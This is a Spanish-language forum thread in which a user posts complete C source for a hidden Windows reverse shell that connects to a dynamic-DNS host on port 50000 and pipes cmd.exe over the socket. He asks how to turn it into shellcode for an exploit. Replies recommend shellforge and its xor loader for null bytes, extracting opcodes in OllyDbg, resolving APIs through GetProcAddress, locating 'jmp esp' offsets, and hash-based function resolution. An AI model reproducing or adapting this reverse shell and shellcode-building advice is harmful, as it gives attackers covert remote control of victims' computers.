Tema destacado:
Autor
|
Tema: Como paso a hexadecimal un codigo escrito en c? (Leído 2,662 veces)
|
|
G3r4rD
|
Este es el codigo que quiero pasar a codigos hexadecimales. #include <winsock2.h> #include <stdio.h> #include <windows.h>
#pragma comment (lib,"ws2_32")
int main() { HANDLE ht = 0; WSADATA wsaData; struct hostent *hServ; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(50000); hServ=gethostbyname("unhostcualquiera.dnsalias.com"); adik_sin.sin_addr=*((struct in_addr *)hServ->h_addr); connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd.exe",NULL,NULL,true,NULL,NULL,NULL,&si,&pi); return 1; }
Es una shell normal simplemente que resuelve host ya que todas las que he encontrado tienes que poner siempre la ip
|
|
|
|
|
En línea
|
|
|
|
BenRu
The Prodigy
Desconectado
Mensajes: 4.004
|
No se si lo que te voy a decir funcionara, o te estare diciendo una tonteria. Compila el programa y lo abres con un editor hexagesimal como HexWorkshop, HexEditor,etc. Supogno que tendra que ir bien 
|
|
|
|
|
En línea
|
|
|
|
Endymion
Desconectado
Mensajes: 5
|
a q le llamas pasar a hexa? queres pasarlo a binario para meterlo dentro d un exe? xq el tema de los includes no se pasa asi d una, figuran en el asm como external links y bla, q es lo q queres hacer con ese codigo?
|
|
|
|
|
En línea
|
|
|
|
|
dxr
|
Vale lo que creo q kiere hacer es simple... lo que el quiere es poner esa "shellcode" en un epxloit y para ello kiere pasar ese codigo a opcodes... no???
|
|
|
|
|
En línea
|
Hacer preguntas concretas, claras y aportando toda la documentación necesaria. De lo contrario, no tendreis una respuesta clara.
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
va.. si lo que quieres es hacer lo que dijo DEREK_X Usage: shellforge [-v <verb>] [-a] [-z] [-s|-S] [-C|-R|-A] [-t[t]] [-k[k]] <src.c> -v <verb> : adjust verbosity. Default is 1. -V : return version number. -a : input file is ready to use assembly language -A : output is assemby languange -C : ouput c instead of raw shellcode. -R : raw output (no escape sequences) -t : output the code to a file (.tst.c) and compile it (imply -c). -tt : same as -t, then try to run it. -k : keep intermediate files (.s and .o, or .tst and tst.c with -tt). -kk : even keep .s and .o if in -tt mode. -x : xor loader to avoid zero bytes -s : relocate stack, incompatible with -S -S : save/restore all registers (need a working stack, incompatible with -s) --in : input format : 'C' or 'asm' or 'code' --out : output format : 'C' or 'asm or 'raw' --loader : loder : 'none' or 'xor' or 'alpha' Anexo el programa. Saludos!!
|
|
|
|
|
En línea
|
|
|
|
|
G3r4rD
|
Lo que necesito es lo que dice DEREK_X, por cierto esa herramienta no la conocia esta muy bien, pero he estado buscando y no veo una version para windows que es lo que yo necesitaria ¿conoceis alguna version para windows o una herramienta similar con version para wiindows?
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
Esta programada en phyton.. "Si la montaña no va a mahoma, mahoma va a la montaña"
De todas formas.. puedes compilar en windows..
Saludos!!
|
|
|
|
|
En línea
|
|
|
|
Manibal_man
Desconectado
Mensajes: 528
|
La otra opcion es compilarlo y abrirlo con el Olly o alguno similar, y copiar los valores que aparecen en una de las columnas, que serian los opcodes. agrupados de 2 en 2.
La herramienta que comenta sidarckat es muy buena, sobre todo porque entre otras cosas cuenta con un loader para encargarse automaticamente con xor de los valores nulos (0), lo cual es realmente practico, pero creo que si recien estas empezando G3r4rD te conviene usar el metodo que te comento, para entender bien que es lo que se hace, y como se hace para evitar los caracteres nulos... una vez perfectamente entendido eso, si, a automatizar!
Saludos
|
|
|
|
|
En línea
|
:: I was born ready motha fucka ::
|
|
|
|
G3r4rD
|
He ya lo intente con el ollydbg pero cuando selecciono el codigo y hago binary copy me keda mal referenciado
Ejemplo:
... ... 4010A0 Call [428000] ... ... 428000 77665488 //aki estaria la direccion a la que hace referencia el call por ejemplo connect "77665488 esto no tiene ningun sentido me lo he inventado ahora mismo no se el offet de connect"
Si yo copio esto, los call estan mal referenciados y los jumps tb, he probado cambiando desde el olly directamente meter en los call directamente la direccion a la que se debe hacer el salto pero luego me pasa que como no esta cargada la libreria winsock me dice que no se puede leer la memoria nose... estoy despistado
|
|
|
|
|
En línea
|
|
|
|
sirdarckcat
Troll Buena Onda y
CoAdmin
 
Desconectado
Mensajes: 6.947
Lavando Platos
|
Si, es lógico, tampoco funcionaran los strings, "hostcualquiera.com" etc.. por eso yo siempre que trabajo con Shellcodes lo hago desde el principio en ASM, asi no tengo problemas.. de todas formas es exactamente lo mismo..
Saludos!!
|
|
|
|
|
En línea
|
|
|
|
Ivanchuk
Desconectado
Mensajes: 466
LLVM
|
Es como dice Sirdar. Hay referencias a variables que existen cuando corres el programa compilado pero cuando sacas al code a parte las perdes. Vas a tener que usar asm y para empezar podes buscar las dir de las funciones(connect, bind, gethostbyname, etc) con GetProcAddress, luego de hacer un LoadLibrary por supuesto. Luego con un programa que esta en este foro te buscas el offset de algun jmp esp. O por code podes cargar la dll y luego revisar su espacio de memoria por algun opcode jmp esp. Esta bien que todo esto solo va a funcionar en tu so, pero mas adelante podes meterte a resolver los hash de las funciones a partir del PE. Hay un texto aca de como hacerlo muuuuuuy bueno. Bytes.
|
|
|
|
|
En línea
|
|
|
|
|
|